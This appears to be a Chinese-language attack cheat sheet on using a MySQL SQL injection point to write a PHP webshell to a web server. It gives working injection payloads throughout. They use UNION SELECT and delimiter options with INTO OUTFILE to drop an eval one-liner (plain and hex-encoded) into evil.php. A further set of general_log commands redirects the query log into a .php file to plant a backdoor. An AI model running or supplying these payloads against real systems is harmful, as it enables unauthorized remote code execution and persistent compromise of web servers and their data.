MySQL注入点写入webshell
- 条件
-
MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。
- 通过命令查看secure-file-priv的当前值,确认是否允许导入导出以及到处文件路径。
show variables like '%secure_file_priv%';
- secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,即secure_file_priv=""
- 通过命令查看secure-file-priv的当前值,确认是否允许导入导出以及到处文件路径。
-
MySQL的当前用户拥有的权限可以执行 select into outfile操作。
-
当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。
-
- 注入方式
- 利用Union select 写入
- 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
- 执行语句 :
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
- 利用分隔符写入
-
当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。
-
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径
-
执行语句
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
*?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
-
- 利用log写入
- 新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
- 具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
show variables like '%general%';
#查看配置set global general_log = on;
#开启general log模式set global general_log_file = 'E:/study/WWW/evil.php';
#设置日志目录为shell地址select '<?php eval($_GET[g]);?>'
#写入shellset global general_log=off;
#关闭general log模式
- 利用Union select 写入